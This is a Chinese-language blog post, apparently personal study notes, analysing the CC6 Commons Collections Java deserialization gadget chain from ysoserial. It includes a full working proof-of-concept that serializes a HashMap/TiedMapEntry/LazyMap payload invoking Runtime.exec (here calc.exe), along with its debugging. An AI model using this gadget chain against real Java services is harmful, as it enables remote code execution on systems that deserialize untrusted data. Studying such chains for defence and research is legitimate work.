• Java安全之CC6


    前言#

    之前三篇详细分析了CommonsCollections1利用链,两种方法,LazyMap以及TransformedMap,但是在Javaa 8u71以后,这个利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了

    在ysoserial中,CC6解决了高版本不能利用的问题。接下来就来看看

    分析#

    ysoserial中的代码过于复杂,所以来看这条简化版利⽤链:

    /*
     Gadget chain:
    java.io.ObjectInputStream.readObject()
            java.util.HashMap.readObject()
               java.util.HashMap.hash()
     
    
    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
     org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
    org.apache.commons.collections.map.LazyMap.get()
     
    org.apache.commons.collections.functors.ChainedTransformer.transform()
     
    org.apache.commons.collections.functors.InvokerTransformer.transform()
    java.lang.reflect.Method.invoke()
    java.lang.Runtime.exec()
    */
    

    关注点主要是从最开始到org.apache.commons.collections.map.LazyMap.get(),因为 LazyMap#get后⾯的部分和CC1相同。所以简单来说,解决Java⾼版本利⽤问题,实际上就是在高版本中找上下⽂中是否还有其他调⽤LazyMap#get()的地⽅。

    找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法中调⽤了 this.map.get,⽽其hashCode⽅法调⽤了getValue⽅法

    import org.apache.commons.collections.KeyValue;
     
    public class TiedMapEntry implements Entry, KeyValue, Serializable {
     	private static final long serialVersionUID = -8453869361373831205L;
     	private final Map map;
     	private final Object key;
     	
       public TiedMapEntry(Map map, Object key) {
     		this.map = map;
     		this.key = key;
     }
     	public Object getKey() {
     		return this.key;
     }
     	public Object getValue() {
     		return this.map.get(this.key);
     }
     // ...
     	public int hashCode() {
     		Object value = this.getValue();
     		return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 :value.hashCode());
     }
     // ...
    }
    

    所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了TiedMapEntry#hashCode

    java.util.HashMap#readObject中就可以找到 HashMap#hash()的调⽤

    public class HashMap extends AbstractMap
        implements Map, Cloneable, Serializable {
        // ...
         static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
        }
       //...
       private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
            // Read in the threshold (ignored), loadfactor, and any hidden stuff
            s.defaultReadObject();
          //...
          for (int i = 0; i < mappings; i++) {
                    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
                    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
                }
            }
        }
    

    在HashMap的readObject⽅法中,调⽤到了hash(key) ,⽽hash⽅法中,调⽤到了 key.hashCode()。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget

    构造#

    ⾸先,构造恶意LazyMap

    Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};
    Transformer[] transformers = new Transformer[] {
     									new ConstantTransformer(Runtime.class),
     									new InvokerTransformer("getMethod", 
                                                      new Class[] { String.class,Class[].class }, 
                                                      newObject[] { "getRuntime",new Class[0] }),
     									new InvokerTransformer("invoke", 
                                                      new Class[] { Object.class Object[].class }, 
                                                      newObject[] { null, new Object[0] }),
     									new InvokerTransformer("exec", 
                                                      new Class[] { String.class },
     																  new String[] { "calc.exe" }),
    																  new ConstantTransformer(1),
    };
    Transformer transformerChain = new ChainedTransformer(fakeTransformers);
    

    为了避免本地调试时触发命令执 ⾏,在构造LazyMap的时候先⽤⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。

    将上面的transformer包装成恶意LazyMap对象outerMap,将其作为TiedMapEntry的map属性。

    TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
    

    接着,为了调⽤ TiedMapEntry#hashCode() ,我们需要将tme对象作为 HashMap的⼀个key。注意,这⾥我们需要新建⼀个HashMap,⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap,两者没任何关系。

    Map expMap = new HashMap();
    expMap.put(tme, "valuevalue");
    

    最后,可以将这个expMap作为对象来序列化了,不过,别忘了将真正的transformers数组设置进来

    整体Payload如下:

    public class CC6 {
        public static void main(String[] args) throws Exception {
            Transformer[] fakeTransformers = new Transformer[]
                    {new ConstantTransformer(1)};
            Transformer[] iTransformers= new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class,Object[].class},
                            new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[] {String.class},
                            new String[]{"calc.exe"}
                    )};
            Transformer chain = new ChainedTransformer(fakeTransformers);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, chain);
    
    
            TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
            Map expMap = new HashMap();
            expMap.put(tme, "valuevalue");
    
            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
            f.setAccessible(true);
            f.set(chain, iTransformers);
    
    
            //生成序列化字符串
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(expMap);
            oos.close();
            System.out.println(barr);
    
            //本地测试
            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    
    

    关于构造利用链,先要有一个大致思路,接下来就是寻找参数是怎么样传递的。

    调试#

    可以看到,只是生成序列化数据,没有成功执行命令

    image-20221111151513636

    每个关键函数都打断点,单步调试一下。在LazyMap的get⽅法,画框的部分,就是最后触发命令执⾏的transform(),但是这个if语句并没有进⼊,因为map.containsKey(key)的结果是true

    image-20221111152818192

    可以看到这里的key是keykey,看下之前的代码,唯⼀出现keykey的地⽅就是在 TiedMapEntry的构造函数⾥,但TiedMapEntry的构造函数并没有修改outerMap

    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, chain);
    TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
    Map expMap = new HashMap();
    expMap.put(tme, "valuevalue");
    

    这个关键点就出在expMap.put(tme, "valuevalue"); 这个语句⾥⾯。HashMap的put⽅法中,也有调⽤到hash(key)

    image-20221111153347336

    这⾥就导致LazyMap这个利⽤链在这⾥被调⽤了⼀遍,因为前⾯⽤了fakeTransformers,所以此 时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响

    解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即 可: outerMap.remove("keykey")

    最终完整POC如下

    public class CC6 {
        public static void main(String[] args) throws Exception {
            Transformer[] fakeTransformers = new Transformer[]
                    {new ConstantTransformer(1)};
            Transformer[] iTransformers= new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class,Object[].class},
                            new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[] {String.class},
                            new String[]{"calc.exe"}
                    )};
            Transformer chain = new ChainedTransformer(fakeTransformers);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, chain);
    
    
            TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
            Map expMap = new HashMap();
            expMap.put(tme, "valuevalue");
            outerMap.remove("keykey");
    
            //将真正的transformers数组设置进来
            Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
            f.setAccessible(true);
            f.set(chain, iTransformers);
    
    
            //生成序列化字符串
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(expMap);
            oos.close();
            System.out.println(barr);
    
            //本地测试
            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    

    image-20221111153544136

    这个利⽤链可以在Java7和8的⾼版本触发,没有版本限制:

    ysoserial#

    上面的这条利用链子是ysoserial中CC6的简化版。

    /*
    	Gadget chain:
    	    java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.put()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
        by @matthias_kaiser
    */
    

    可以看到多了两步:

    java.util.HashMap.put()
                    java.util.HashMap.hash()
    

    这里是多了两个调用步骤,至于原因,暂时还没理解透。

    小结#

    对CC6这条利用链进行了学习,在构造Gadget的时候还是要思路清晰,后面继续学习。

  • 相关阅读:
    Keepalived源码安装-高可用(主备)场景
    SATA系列专题之五:Link Power Management解析
    python基础:字符串方法灵活应用
    Asp-Net-Core开发笔记:EFCore统一实体和属性命名风格
    【初阶数据结构】——顺序表详解(C描述)
    驱动:驱动相关概念,内核模块编程,内核消息打印printk函数的使用
    奇思妙想构造题 ARC145 D - Non Arithmetic Progression Set
    OpenCV PCA介绍
    top(linux)——FIELDS/Columns含义
    “共码未来”——2022Google开发者大会
  • 原文地址:https://www.cnblogs.com/gk0d/p/16880711.html